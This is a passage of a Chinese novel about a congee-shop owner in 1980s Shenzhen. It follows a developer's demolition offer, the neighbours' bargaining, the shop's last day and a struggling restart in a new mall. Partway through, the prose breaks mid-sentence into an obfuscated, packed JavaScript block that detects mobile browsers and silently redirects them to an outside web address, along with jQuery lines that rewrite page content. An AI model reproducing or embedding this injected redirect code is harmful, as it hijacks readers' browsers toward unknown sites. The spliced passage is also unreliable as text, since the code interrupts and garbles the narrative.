“有两种可能。”老唐说，“一是给你们补偿，让你们搬走。二是让你们回迁，就是新楼盖好了，还给你们一间铺面。但第二种很少，一般都是给钱。” “给多少钱？” “那得看面积，看位置。你们这铺子十平米，又是临街，应该能赔个几千块。” 几千块！陈永福心跳加快了。贷款才五百，要是赔几千，不但能还清贷款，还能剩不少。可是……可是粥铺怎么办？换个地方，客人还会来吗？ “老唐，你觉得该不该答应？” “我？”老唐苦笑，“我哪知道。我楼上那间房，二十平米，要是拆了，可能也能赔点。但我在这住了三年，习惯了。搬去别处，又要重新适应。” 陈永福明白了。钱重要，但习惯也重要。人就是这样，在一个地方待久了，就有感情了。哪怕这地方破旧、拥挤，但它是家。 那之后几天，香港人没再来。但老街上的传闻多了起来。有人说整条街都要拆，盖商场。有人说只拆一边，另一边保留。还有人说香港老板出价高，一间铺面赔一万。 一万！这个数字在街坊间传开，人人都心跳。一万块是什么概念？在老家能盖三间大瓦房，在深圳能买……买什么？深圳现在房子不能买卖，但有了钱，做什么不行？ 陈永福也心动。一万块，他得卖多少碗粥才能赚到？一碗赚五分钱，要卖二十万碗。每天卖两百碗，要卖一千天，差不多三年。而现在，可能几个月就能拿到。 但他又舍不得。这个铺子是他一砖一瓦弄起来的，从空荡荡到热热闹闹。每个角落都有记忆：灶台是他亲手砌的，烟囱是王师傅帮忙改的，桌椅是他一张张淘来的。还有那些客人，从陌生到熟悉，有的已经成了朋友。 林玉兰看出他的矛盾，说：“要是真拆了，我们就回老家。一万块在老家能过好日子了。” “回老家？”陈永福没想过这个可能。 “嗯，在镇上开个小店，日子安稳。深圳太累，整天提心吊胆的。” “可是……可是我们刚站稳脚跟。” “站稳了又怎么样？还不是起早贪黑。”林玉兰叹了口气，“秀英也大了，该嫁人了。建国要上学，深圳学校不好进。回老家，这些都好办。” 陈永福不说话了。他知道妻子说得有道理，但心里那团火还没灭。他来深圳，不是为了挣点钱就回去的。他想在这里扎根，想让儿子在这里长大，想成为真正的深圳人。 但“深圳人”是什么？他不知道。也许就是像老唐那样，在这里住久了，习惯了，就自然而然了。 十一月初，周明远来了。 他有一阵子没来了，这次看起来更疲惫，眼里全是红血丝。要了碗粥，喝了两口就放下。 “陈老板，听说有人来看你的铺子？” “你怎么知道？” “做我这行的，消息灵通。”周明远点了支烟，“是香港的昌盛公司，专做旧城改造的。他们看上这片地了，要建商业中心。” “那……那我的铺子？” “肯定在拆迁范围内。”周明远看着他，“陈老板，这是机会。昌盛公司财大气粗，补偿不会低。拿了钱，你可以去别处开个更大的店。” “我不想要钱，我想要铺子。” “回迁？”周明远摇头，“难。这种商业中心，一层都是大铺面，最小也一百平米。你拿什么租？” 一百平米。陈永福想象不出一百平米的铺面有多大。他的粥铺十平米，已经觉得够用了。一百平米，那得摆多少桌子？得熬多少锅粥？ “就没有别的办法？” “有。”周明远压低声音，“你可以做钉子户。就是不搬，跟他们耗。耗到最后，他们可能会提高补偿。但风险也大，他们手段多，断水断电是轻的，重的可能来硬的。” 陈永福心里一紧。断水断电，粥铺还怎么开？ “周经理，你说我该怎么办？” 周明远沉默了一会儿，烟抽了大半支。 “陈老板，我说句实话。深圳发展快，这种拆迁以后会越来越多。你今天不搬，明天可能也要搬。城市要建设，旧的要让位给新的。这是大势，个人挡不住。” 大势。陈永福想起国贸大厦工地围挡上那四个字：深圳速度。三天一层楼，那是大势。他这个小粥铺，在大势面前，就像老榕树上的一片叶子，风一吹就动了。 “我再想想。” “尽快想。”周明远站起身，“昌盛公司的人这几天还会来，可能要挨家挨户谈。你先别答应，但也别硬顶。看看街坊们的态度，大家一起，力量大些。” 周明远走了。陈永福坐在老榕树下，看着街上来往的人。卖水果的阿婆推着车走过，修鞋的老刘正在收摊，杂货铺的老李在门口抽烟。这些人，这些铺子，都要没了吗？ 老唐下夜班回来，看见他坐在那里，走过来。 “想拆迁的事？” “嗯。” “别想太多，该来的总会来。”老唐在他旁边坐下，“我活了大半辈子，明白一个道理：人算不如天算。你想得好好的，老天爷一个弯，就全变了。” “那就不想了？” “想还是要想，但别钻牛角尖。”老唐掏出烟，递给他一支，“就像这烟，抽一口，吐出来，就散了。事也一样，该咋样就咋样。” 两人坐在树下抽烟。烟雾袅袅上升，混在夜色里，慢慢散了。 陈永福忽然觉得，老唐说得对。该来的总会来，担心也没用。他现在要做的，是把每一天的粥熬好，把每一个客人照顾好。至于以后，以后再说。 那天晚上，他睡得很好。梦里没有拆迁，没有香港老板，只有一锅咕嘟咕嘟冒泡的粥，和树下坐满的客人。 醒来时天还没亮。他像往常一样起床，挑水，生火，熬粥。 米粒在滚水里翻滚，慢慢开花，慢慢稠厚。粥香弥漫开来，飘出铺面，飘到老街上。 第一缕阳光照进来时，陈永福站在灶台前，用长勺慢慢搅着锅里的粥。粥很稠，勺子搅过时留下深深的痕迹，但很快又被米浆填平。 就像生活，不管遇到什么坑，总要被填平。日子总要过下去，粥总要熬下去。 他抬头看看窗外，老榕树在晨光里静静立着。叶子有些黄了，但还茂盛。风吹过，沙沙响，像是在说话。 陈永福听懂了。树在说：我在这儿几十年了，见过风，见过雨，见过人来人往。我还在这儿，还会在这儿。 他点点头，继续搅粥。 5. 抉择 香港人第三次来的时候，不是一个人。 他带了四五个人，有穿西装的，有穿中山装的，还有个夹着公文包戴眼镜的年轻人。一行人站在老街口，指指点点，拿图纸比划。街坊们远远看着，小声议论。 陈永福正在灶台前熬粥，林玉兰用胳膊肘碰碰他：“来了。” 他抬头看过去，心里一沉。该来的还是来了。 那群人从街口开始，挨家挨户地看。先到修自行车的王师傅那儿，说了几句，王师傅摇摇头。又到杂货铺老李那儿，老李听着，没表态。最后走到粥铺前。 “陈老板，又见面了。”香港人微笑着，递上名片，这次是正式的，“鄙姓吴，吴国栋，昌盛地产开发公司副总经理。” 陈永福在围裙上擦擦手，接过名片。名片很精致，烫金边，摸着光滑。 “吴经理。” “陈老板，方便聊几句吗？”吴国栋看了看店里坐着的客人。 陈永福点头，领他们到老榕树下。黄秀英赶紧搬来几个凳子。吴国栋坐下，其他人站着。 “陈老板，明人不说暗话。我们公司打算开发这片街区，建一个现代化的商业中心。你的铺子，在规划范围内。” 陈永福没说话，等着下文。 “按照政策，我们会给予合理补偿。”吴国栋从公文包里拿出几页纸，“这是初步评估，你的铺面十平米，临街，评估价八千元。” 八千。不是传闻中的一万，但也不少。 “另外，我们会提供三个月的过渡期补贴，每月一百元。”吴国栋继续说，“新商业中心建成后，你享有优先租赁权。当然，租金要按市场价。” 陈永福看着那几页纸，上面密密麻麻的字，他看不太懂。只看到几个数字：8000，300，还有百分比符号。 “吴经理，如果我不要钱，想要铺面呢？” 吴国栋笑了笑：“陈老板，新商业中心都是大铺面，最小的也有八十平米。就算给你优惠价，租金你也承担不起。” “那……回迁呢？就是新楼盖好了，我还回这里。” “这里？”吴国栋环顾四周，“这里会变成商场中庭，没有临街铺面了。” 陈永福心里堵得慌。他看看自己的粥铺，虽然小，虽然旧，但门口就是街，客人一抬眼就能看见。要是进了商场，谁知道还有没有人来喝粥？ “陈老板可以好好考虑。”吴国栋起身，“这几天我们会逐户洽谈。你可以问问街坊们的想法，大家团结一致，我们也会更重视。” 他们走了，留下那几页评估报告。陈永福拿着纸，站在树下发呆。阳光透过树叶缝隙照下来，在纸上投下斑驳的光影。 老唐不知什么时候走过来，拿过那几页纸看了看。 “八千，算厚道了。我楼上那间房，二十平米，评估才九千。” “老唐，你打算怎么办？” “我？”老唐把纸还给他，“我一个老头子，给钱我就拿，找个地方养老。但我理解你，你这铺子刚做起来，舍不得正常。” 下午，街坊们自发聚到粥铺门口。王师傅，老李，卖水果的阿婆，修鞋的老刘，还有几个住户。大家围坐在老榕树下，商量这事。 王师傅先开口：“他们给我评估六千，我那是十五平米。我觉得低了，我那位置好，正对街口。” 老李说：“我的是八千五，我打算要一万。” “一万他们要是不给呢？” “不给就不搬，看谁耗得过谁。” 卖水果的阿婆愁眉苦脸：“我一没铺面二没房产，就推个车卖水果。他们说我是流动摊贩，不在补偿范围内。那我以后去哪卖？” 这话让大家沉默了。是啊，这条街不只固定商铺，还有靠街吃饭的小贩，租房的住户，打零工的散工。他们怎么办？ 陈永福想了想，说：“要不，我们提个条件：不仅要补偿商铺，还要安排摊贩的位置，给住户找过渡房。” “他们会答应吗？” “不答应就都不签。”王师傅一拍大腿，“团结就是力量。” “对，团结！” 大家情绪高涨起来。但陈永福心里清楚，团结说起来容易，做起来难。每个人情况不同，想法也不同。真到了签字拿钱的时候，难保没人先动摇。 果然，第二天就出了事。 杂货铺老李偷偷去找了昌盛公司的人，回来说人家答应给他九千。街坊们知道后，都骂他叛徒。老李脸红脖子粗：“我儿子要结婚，急用钱！你们站着说话不腰疼！” 王师傅气得直跺脚：“老李啊老李，你这一搞，我们还怎么谈价？” “你们谈你们的，我拿我的钱，互不干涉。” 话是这么说，但缺口一开，就难堵了。昌盛公司的人抓住这点，对其他街坊说：“李老板已经签了，你们拖下去也没用。早点签，还能早点拿钱。” 人心开始浮动。 林玉兰问陈永福：“我们要不要也去谈谈？” “谈什么？” “加点价。八千确实少了点，至少要一万。” 陈永福摇头：“不是钱的问题。” “那是什么问题？” 陈永福说不清楚。他走到铺面门口，看着老榕树。这棵树陪了他半年，每天清晨在树下生火，中午在树下乘凉，晚上在树下收拾。树上有他钉的钉子，挂招牌的；树下有他摆的桌椅，坐过无数客人。这些，钱能买到吗？ 黄秀英小声说：“老板，要是真拆了，我们去哪？” 这是个现实问题。黄秀英跟着他们半年，已经把这里当作家。要是粥铺没了，她怎么办？回制衣厂？还是另找工作？ “你放心，不管去哪，都带着你。”陈永福说。 这话让黄秀英眼睛红了：“我不是怕没工作，我是舍不得这里。” 陈永福心里一酸。是啊，舍不得。连来半年的秀英都舍不得，他这亲手建起铺子的人，怎么舍得？ 那天晚上，他翻来覆去睡不着。林玉兰也没睡，两人在黑暗里躺着，都不说话。 最后林玉兰轻声说：“要不，我们回老家吧。八千块在老家能盖很好的房子，还能剩点做小生意。” “回老家……”陈永福重复这三个字。 半年多前，他带着妻儿离开老家时，心里想的是闯出一片天。现在有了点起色，却要回去。乡亲们会怎么说？会说他在深圳混不下去，灰溜溜回来了。 “让我再想想。” 接下来的几天，昌盛公司的人天天来老街。他们带着合同，挨家挨户地谈。有人签了，拿了定金，开始收拾东西。有人还在坚持，但明显底气不足。 粥铺的生意也受了影响。客人们听说要拆迁，来得少了。有的熟客喝粥时会问：“陈老板，真要拆啊？” “可能吧。” “那以后去哪喝你的粥？” “还不知道。” 客人叹气：“喝惯了你这儿的粥，别处的喝不惯。” 这话让陈永福既欣慰又心酸。他的粥有人惦记，这是对他手艺的肯定。可这手艺，以后可能没地方施展了。 一天下午，周明远来了。他看起来很忙，但还是抽空来了趟。 “陈老板，听说你还没签？” “没。” “聪明。”周明远压低声音，“我打听过了，昌盛公司这次预算很足，八千只是起价。你要是坚持，能要到一万二。” “一万二？” “对。但你要沉得住气，别先松口。” 陈永福犹豫了。一万二，确实不少。有了这笔钱，他可以重新找个铺面，或者回老家做点生意。可是…… “周经理，你说我该要钱，还是要铺子？” 周明远看了他一眼：“陈老板，我说句实话。钱是实的，铺子是虚的。新商业中心要建两年，两年后什么行情，谁也不知道。你现在拿钱，实实在在。等两年后，可能物价都涨了，钱也不值钱了。” “可是我就想要个铺子，继续熬粥。” “那你可以拿钱去别处租铺子啊。”周明远说，“老街又不是只有这一条。东门那边，上步那边，都有铺面出租。一万二，够你租好几年了。” 这话点醒了陈永福。是啊，为什么非要在这里？深圳这么大，哪里不能熬粥？ “让我再想想。” 周明远走后，陈永福把这个想法跟林玉兰说了。林玉兰想了想，说：“那我们去看看别的铺面？” “行，明天就去。” 第二天，他们关了半天的门，去东门找铺面。东门确实热闹，铺面也多，但租金贵。一间二十平米的铺面，月租要一百五，还要押三付一，一次要交六百。 “太贵了。”林玉兰摇头。 又去上步。上步正在开发，工地多，铺面少。好不容易找到一间，位置偏，月租八十。但周围都是工地，工人多，倒是适合做粥铺。 “这里行吗？”陈永福问。 林玉兰看看周围：“太荒了，连棵树都没有。” 确实，这里光秃秃的，都是工地和临时建筑。没有老街的烟火气，没有老榕树的阴凉。 “再看看。” 又看了几处，都不满意。不是租金贵，就是位置偏，要么就是铺面太小。看来看去，竟觉得还是老街的铺子好。虽然旧，虽然小，但位置正，人气旺，还有棵老树。 回到老街，天已经黑了。老唐在粥铺门口等他们。 “去哪了？” “看铺面。” “怎么样？” 陈永福摇头：“都不如这里。” 老唐叹口气：“正常。自己待惯的地方，怎么看怎么好。” 三人坐在树下。老唐掏出烟，分给陈永福一支。火柴划亮的一瞬间，陈永福看见老唐脸上的皱纹，深深的，像刀刻的。 “老唐，你说我该不该签？” “我说了不算，得你自己定。”老唐吐了口烟，“但我告诉你一件事。三十年前，我来深圳时，这里还叫宝安县。我从惠州走路过来，走了两天。那时候这里都是田，都是山。我站在现在的罗湖火车站那里，往前看是水田，往后看还是水田。” 陈永福静静听着。 “后来变了。”老唐继续说，“田没了，盖了房子。山平了，修了路。我来的时候二十岁，现在五十了。三十年，我看着深圳从一个县变成一个市，又变成一个特区。我看着老街从土路变成石板路，看着平房变成楼房。” 烟头在黑暗里一明一灭。 “变是常态，不变才奇怪。”老唐说，“你今天舍不得这个铺子，明天可能舍不得那个铺子。总有一天你会发现，什么都留不住。能留住的，只有手艺，只有记忆。” 手艺。陈永福想起自己熬粥的手艺。从米和水的比例，到火候的掌控，到下料的时机。这手艺是在这个铺子里练出来的，但换了个地方，手艺还在。 “我明白了。”他说。 第二天，昌盛公司的人又来了。这次陈永福主动找他们谈。 “吴经理，我要一万二。” 吴国栋愣了一下，随即笑了：“陈老板，这个价高了。” “不高。”陈永福说，“我的铺子虽然小，但位置好，生意好。拆了，我失去的不仅是铺子，还有半年来积累的客源。这些，值四千块。” 吴国栋沉吟片刻：“一万，不能再多了。” “一万二，少一分不签。”陈永福很坚持，“另外，我要你们保证，在新商业中心给我留一个摊位，位置要好，租金要优惠。” “摊位可以，但租金要按市场价。” “那不行。我的铺子没了，生意断了，重新开始需要时间。头三年，租金要减半。” 吴国栋和同事商量了一会儿，最后说：“一万，加一个摊位，头两年租金八折。这是底线。” 陈永福看向林玉兰。林玉兰点点头。 “成交。” 合同很厚，有十几页。陈永福看不太懂，但周明远答应帮他看。他先签了意向书，拿了五千定金。剩下的五千，等搬走时付清。 拿着厚厚一沓钱，陈永福手有点抖。一百元一张的“大团结”，五十张。他这辈子没见过这么多钱。 回到粥铺，他把钱放在桌上。林玉兰，黄秀英，□□，都围着看。灯下，钞票泛着特有的光泽，油墨味淡淡地飘出来。 “这么多钱……”黄秀英喃喃道。 □□伸手想摸，被林玉兰轻轻拍开：“别碰，脏。” 陈永福数出十张，递给黄秀英：“秀英，这是你这几个月的工资，还有奖金。” 黄秀英连连摆手：“老板，不用这么多……” “拿着。”陈永福塞给她，“你跟着我们吃苦，应该的。” 黄秀英接过钱，眼泪掉下来。 又数出十张，陈永福说：“这些寄回老家，给父母，也给弟弟娶亲用。” 林玉兰点头：“该的。” 剩下的三千，他打算存起来。等新商业中心的摊位定了，要用钱的地方还多。 签了合同，心反而定了。既然决定了，就不再多想。陈永福开始计划接下来的事：粥铺还能开两个月，两个月后要搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380739|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。新摊位要装修，要买新设备，要重新招揽客人。 他算了算时间，现在是十一月中，到一月中搬。正好过了元旦，春节前能安顿下来。 消息传开，街坊们反应不一。王师傅说他也要加价，老李后悔签早了，卖水果的阿婆还在愁去哪摆摊。 陈永福对阿婆说：“阿婆，新商业中心有摊位，你要不要去？” “我哪有钱租摊位。” “我帮你问问，看能不能安排个便宜的位置。” 阿婆拉着他的手：“陈老板，你是个好人。” 陈永福笑笑。好人不好人他不知道，他只是做了能做的事。 生活继续。粥铺照常开门，照常熬粥，照常有客人来。只是大家都知道了要拆迁的事，喝粥时多了些感慨。 “陈老板，以后去哪找你啊？” “新商业中心，到时候告诉大家。” “那地方贵不贵？” “应该不贵，我做的是平民生意。” 客人点点头：“那就好，还能喝到你的粥。” 一天，来了个老客人，是以前常来的建筑工人，姓赵。他说工地完工了，他们队要去珠海，今天是来告别的。 “陈老板，谢谢你这几个月的粥。工地上累，能喝到一碗热粥，心里暖和。” 陈永福给他盛了满满一碗，多加肉：“一路顺风。” “你也顺风。新地方生意兴隆。” 这样的告别多了起来。有工人转场去别的工地，有摊贩找到新地方，有住户准备回老家。老街在慢慢变化，虽然楼还没拆，但人心已经开始散了。 陈永福看着这些熟悉的面孔一个个离开，心里不是滋味。但他知道，这就是深圳。人来人往，聚散无常。今天在这里喝粥的人，明天可能就在另一个城市。今天还热热闹闹的铺子，明天可能就人去楼空。 他能做的，就是把今天的粥熬好，让每个离开的人，带着温暖离开。 十二月初，下了一场雨。雨不大，但绵绵的，下了两天。老街湿漉漉的，石板路泛着青黑色的光。老榕树的叶子被洗得发亮，雨水顺着叶尖滴下来，嘀嗒嘀嗒。 雨后，来了个意想不到的人。 是周淑芬。 她瘦了很多，也黑了很多，但眼睛亮亮的。手里牵着个男孩，七八岁的样子，正是照片上那个。 “陈老板！”她老远就喊。 陈永福从铺面里出来，看见她，愣住了。林玉兰和黄秀英也跑出来。 “周老师！孩子……找到了？” “找到了！”周淑芬把男孩往前推，“快，叫叔叔阿姨。” 男孩怯生生地叫：“叔叔好，阿姨好。” 林玉英一把抱住孩子，眼泪掉下来：“找到了就好，找到了就好。” 原来周淑芬在广州找了半个月，没找到。后来听人说可能去了佛山，又去佛山找。在佛山救助站，终于找到了。孩子被人贩子带到佛山，跑出来后流浪了几天，被救助站收留。 “多亏了你们给我的钱，还有那些照片。”周淑芬说，“救助站的人一看照片，就认出来了。” “回来就好，回来就好。”陈永福说，“快进屋，喝碗热粥。” 周淑芬和孩子在粥铺住了两天。孩子叫周小军，很乖，不闹。□□带着他玩，两个孩子很快成了朋友。 周淑芬说，她不打算回老家了，想在深圳找个工作，带孩子在这里生活。 “深圳教育好，机会多。我想让小军在这里上学。” “那你有地方住吗？” “先租个房子，再找工作。我有教师证，应该能找到学校代课。” 陈永福想了想，说：“新商业中心我有摊位，需要人手。你要是不嫌弃，可以来帮忙。工资可能不高，但稳定。” 周淑芬眼睛亮了：“真的？” “真的。不过要等两个月，现在这里还没拆。” “我等！两个月没问题。” 送走周淑芬母子那天，阳光很好。陈永福看着他们坐上车，心里暖暖的。虽然自己的铺子要没了，但帮人找到了孩子，这比什么都值。 日子一天天过去，离搬走的日子越来越近。陈永福开始收拾东西。锅碗瓢盆，桌椅板凳，都要打包。有些东西旧了，坏了，但他舍不得扔。那个铁皮饼干盒，装过粮票，装过贷款，装过第一笔收入，他要留着。那块手写的招牌，“家香粥铺”四个字已经褪色了，他也要留着。 黄秀英问：“老板，新摊位还要叫家香粥铺吗？” “要，当然要。”陈永福说，“名字不变，味道不变。” “那树呢？没有树了。” 陈永福看向老榕树。树还在那里，静静地立着。他不知道这棵树会不会被砍，但即使砍了，树还在他心里。 “树在心里。”他说。 元旦那天，粥铺最后一天营业。 陈永福多熬了几锅粥，免费请街坊们喝。王师傅来了，老李来了，卖水果的阿婆来了，修鞋的老刘来了，还有那些熟悉的客人，能来的都来了。 老榕树下坐满了人，大家端着碗，喝着粥，说着话。说起老街的过去，说起各自的老家，说起对未来的打算。 王师傅说要去宝安开修车铺，老李说要回老家养老，阿婆说儿子接她去东莞。每个人都有自己的路要走。 老唐也来了，他喝了两碗粥，说：“陈老板，以后喝不到你的粥了。” “能喝到，新地方开张，你来，我请你。” “一定来。” 夕阳西下时，人慢慢散了。陈永福站在铺面门口，看着空荡荡的桌椅，看着灶台上那口大锅，看着墙上的价目表。 半年，像一场梦。 林玉兰走过来，轻轻握住他的手。 “明天就搬了。” “嗯。” “舍不得？” “舍不得。” “我也舍不得。”林玉兰靠在他肩上，“但我们会好的，对吗？” “对，会好的。” 夜幕降临，老街亮起零星的灯火。远处工地的探照灯划破夜空，像一道光剑，指向未知的远方。 陈永福最后看了一眼他的粥铺，锁上门。 钥匙在锁孔里转动，发出清脆的咔哒声。这声音，他听了半年。明天，就不会再听了。 但他知道，明天会有新的门，新的锁，新的开始。 深圳的夜，依然有火车的汽笛声，有工地的轰鸣声，有这座年轻城市永不疲倦的脉搏。 而他和他的粥铺，会继续在这脉搏里，找到自己的节奏。 6. 新地 新商业中心叫“罗湖商城”，名字是烫金的大字，镶在玻璃幕墙上，太阳一照，晃得人眼花。 陈永福的摊位在三楼，美食区最里面的角落。说是摊位，其实是个开放式的小档口，三面玻璃墙，一面操作台。面积比老街的铺面大，有十五平米，但租金贵得吓人——月租一百五，头两年八折，也要一百二。 装修花了他三百块。操作台贴了白色瓷砖，墙上钉了不锈钢架子，天花板上装了日光灯。灯光很亮，照得一切都清清楚楚，连瓷砖缝里的水泥渍都看得见。 但没有窗户，没有树，只有中央空调呼呼的风声，和隔壁档口油炸食物的味道。 搬进来的第一天，陈永福站在档口里，有点不知所措。太干净了，太亮了，也太安静了。不像老街，有街坊打招呼的声音，有自行车铃声，有老榕树的沙沙声。 林玉兰在擦操作台，已经擦了第三遍。黄秀英在摆餐具，新的白瓷碗，摞得整整齐齐。□□趴在玻璃墙上往外看，外面是美食区的大堂，一排排塑料桌椅，空空荡荡。 “阿爸，这里好大。”孩子说。 “嗯，大。” “可是没人。” “会有的。” 中午，商场正式开业。鞭炮声从楼下传来，噼里啪啦响了很久。接着是人声，脚步声，很多人涌进来。美食区渐渐热闹起来，各家档口开始叫卖。 “烧鹅饭！新鲜烧鹅饭！” “云吞面！正宗香港云吞面！” “麻辣烫！四川麻辣烫！” 声音混杂在一起，嗡嗡的。陈永福站在档口前，想喊，却张不开嘴。他习惯了客人自己找上门，不习惯叫卖。 一个年轻人在档口前停下，看了看招牌：“家香粥铺？是老街那家吗？” “是，是。”陈永福赶紧说，“您是老街的客人？” “以前去喝过。搬这里来了？”年轻人探头看看，“粥还是那个价吗？” “涨了一点点。白粥一毛五，肉粥两毛，皮蛋粥两毛五。” “哦。”年轻人犹豫了一下，“来碗肉粥吧。” 第一单生意。 陈永福盛粥，林玉兰收钱，黄秀英端给客人。流程和以前一样，但环境不一样了。客人坐在大堂的塑料椅上，周围是其他档口的客人，吵吵嚷嚷的。 年轻人很快吃完，走了。没说话，没评价。 下午，陆陆续续来了几个客人，有老街的熟客，也有新面孔。但比起其他档口排队的场景，粥铺的生意显得冷清。 隔壁是卖烧腊的，老板是个胖胖的香港人，说话嗓门大。他见陈永福这边人少，走过来递了支烟。 “陈老板？我姓何。” “何老板。”陈永福接过烟。 “新来？”何老板看看粥铺的招牌，“做粥生意好啊，清淡，健康。” “马马虎虎。” “刚开始都这样。”何老板指指自己的档口，“我第一天，只卖了十份饭。现在一天能卖两百份。关键是位置，还有味道。” 位置。陈永福的档口在最里面，要走到头才能看见。很多人走到一半就被其他档口截住了。 “要不要搞点促销？”何老板建议，“开业特价，买一送一。” “那不得亏本？” “先拉客嘛。客人来了，觉得好吃，下次还会来。” 陈永福想了想，没马上答应。他做的是小本生意，经不起折腾。 晚上盘点，卖了二十三碗粥，收入四块六毛。扣掉租金水电，亏了。 林玉兰数完钱，没说话。黄秀英小声说：“明天会不会好点？” “会吧。”陈永福说，但心里没底。 第二天，他起了个大早去市场。商场六点开门，他五点半就到档口，开始熬粥。粥的香味在美食区弥漫开，但六点半才有第一个客人——是个清洁工，要了碗白粥，坐在角落吃。 七点以后，人渐渐多起来。上班族来买早餐，匆匆忙忙的。他们大多选择包子、油条、豆浆，方便带走。粥要用碗盛，要坐下来吃，太费时间。 陈永福想了想，去买了些一次性塑料碗。虽然成本高点，但方便客人带走。 “粥可以打包了！”他写了张纸条贴在玻璃上。 果然，打包的客人多了些。但比起其他档口排队买饭的场景，还是差得远。 中午，周淑芬来了。她带着儿子周小军，在档口前看了看。 “陈老板，开张了？” “周老师！快进来坐。” 周淑芬要了两碗粥，坐在大堂里慢慢吃。吃完后，她没走，帮林玉兰收拾碗筷。 “周老师，不用你忙。” “没事，我反正闲着。”周淑芬说，“小军上学的事办好了，在罗湖小学。上午送他上学，下午接他放学，中间这段时间没事做。” 陈永福心里一动：“周老师，你要不要来帮忙？按小时算工钱。” 周淑芬想了想：“行。我不要工钱，管顿饭就行。” “那怎么行，该给还是要给。” 最后说定，周淑芬每天上午九点到下午三点来帮忙，一个月二十块，包午饭。 多了个帮手，林玉兰轻松了些。周淑芬有文化，会算账，还会招呼客人。她站在档口前，看见犹豫的客人，会主动介绍：“我们家粥熬得稠，米香，您试试？” 她的普通话标准，笑容温和，不少客人被她一说，真的来试试。 但生意还是不见起色。一天下来，最多卖四五十碗，刚够保本。 陈永福开始着急了。一百二的月租像块石头压在心上。还有水电费，管理费，加起来一个月要一百五。每天至少要卖八十碗，才能不亏。 可八十碗，谈何容易。 一天晚上打烊后，他没回家——现在他们租住在商场附近的一个小区里，两室一厅，月租六十。房子比老街的棚屋好，有厕所，有厨房，但离商场远，上下班要走二十分钟。 他留在档口，坐在空荡荡的大堂里。日光灯已经关了，只有安全通道的绿灯亮着，幽幽的绿光。 脚步声响起。是何老板，他也没走。 “陈老板，还不回去？” “坐会儿。” 何老板在他旁边坐下，递给他一支烟。两人在黑暗里抽烟，烟头一明一灭。 “生意不好？”何老板问。 “嗯。” “正常。美食区二十多家档口，竞争激烈。你要有自己的特色。” “我粥熬得好。” “是，但别人不知道。”何老板弹弹烟灰，“你要让人知道。搞试吃，搞优惠，搞宣传。” “怎么搞？” “明天是周末，人流量大。你熬一锅粥，分成小碗，免费给人试吃。觉得好吃，自然来买。” 陈永福想了想，这倒是个办法。只是要白送，心疼。 “舍不得孩子套不着狼。”何老板拍拍他的肩，“我刚开始也搞试吃，送了三天烧鹅，亏了三百块。但第四天开始，客人就排长队了。” “真的？” “骗你干嘛。”何老板站起身，“试试吧，不试怎么知道。” 陈永福决定试试。 第二天是周六，商场人确实多。一家三口，情侣，朋友，来来往往。陈永福熬了一大锅皮蛋瘦肉粥，分成小碗，摆在档口前。 “免费试吃！家香粥铺，老街老味道！” 他喊得有些生涩，但喊出来了。周淑芬和林玉兰也帮着招呼。 起初没人理睬。人们匆匆走过，看都不看一眼。后来有个老太太带着孙子，小孩闻着香味不肯走，老太太只好要了一小碗。 “奶奶，好喝！”孩子喝完说。 老太太自己也尝了一口，点点头：“是熬得不错。” 她买了一大碗打包。 有了第一个，就有第二个。试吃的人渐渐多起来，买粥的人也多了。到中午，粥竟然卖完了。 陈永福赶紧又熬了一锅。下午继续试吃，继续卖。 晚上盘点，卖了九十八碗，破了纪录。 “何老板的办法真管用。”林玉兰高兴地说。 “管用是管用，但试吃不能天天搞。”陈永福算账，“今天试吃了三十碗，就算成本五毛，一个月下来也要十五块。” “那怎么办？” 陈永福没说话。他需要想个长久之计。 接下来的几天，他没再搞试吃，生意又回落了。但比之前好些，每天能卖六七十碗。 他发现，来喝粥的主要是几类人：老人，孩子，还有身体不舒服的人。年轻人很少，他们更喜欢重口味的，麻辣烫，烧腊饭。 一天，来了个女客人，三十来岁，脸色苍白。她要了碗白粥，慢慢喝。喝完后，她问：“老板，你们这粥能送吗？” “送？” “我住在附近小区，这几天胃不舒服，不想出门。你们能每天送一碗粥上门吗？” 陈永福想了想：“送可以，但要加五分钱送餐费。” “行。”女人留下地址和钱，“明天中午送一碗皮蛋粥。” 送走女人，陈永福脑子里冒出个想法：外卖。 老街时，他只送工地的集体订单。现在商场里，可以送个人外卖。虽然一次只送一碗，但积少成多。 他写了张告示贴在玻璃上：“本店提供送餐服务，一公里内加五分，两公里内加一毛。” 告示贴出去当天，就有三个客人要求送餐。都是附近的住户，有的生病，有的懒得下楼。 黄秀英主动说：“老板，我去送。” “你一个人送不过来。” “我送近的，远的可以等下午人少时送。” 陈永福想了想，买了辆二手自行车，花了四十块。黄秀英骑着车送餐，速度快多了。 外卖业务慢慢做起来。虽然每次只送一两碗，但一个月下来，也能多卖两三百碗。更重要的是，这些客人成了固定客源，几乎天天订。 一天，黄秀英送餐回来，脸上带着笑。 “老板，我刚才送餐时，看到隔壁写字楼有很多上班族。他们中午吃饭要排队，很多人嫌麻烦。我们要不要也送写字楼？” “写字楼？那得送很多份才行。” “可以先试试。我认识那栋楼的一个保安，他说可以帮我们宣传。” 陈永福觉得可以试试。他印了些简单的菜单，白粥、肉粥、皮蛋粥、鱼片粥，价格和店里一样，加收一毛送餐费。十份起送。 菜单发出去三天，接到了第一单：十二份皮蛋粥，中午十二点送到写字楼十楼的一家贸易公司。 那天中午，陈永福提前熬好了粥，装在保温桶里。黄秀英和周淑芬一起去送。十二份粥，收了四块八，除去成本，赚了两块。 更重要的是，那家公司的人喝了粥，觉得不错，说以后每周订三次。 写字楼业务打开了。虽然不像工地订单那样稳定，但零散的单子加起来也不少。陈永福又招了个送餐的，是个江西来的小伙子，叫小张，十七岁，刚来深圳，还没找到工作。管吃住，一个月二十五块。 档口的人手多了，但地方显得挤了。十五平米，四个人在里面转，有时候会撞到。 何老板看见了，说：“陈老板，生意做大了，该扩了。” “往哪扩？” “我隔壁那家做不下去了，要转让。二十平米，月租两百。你要不要？” 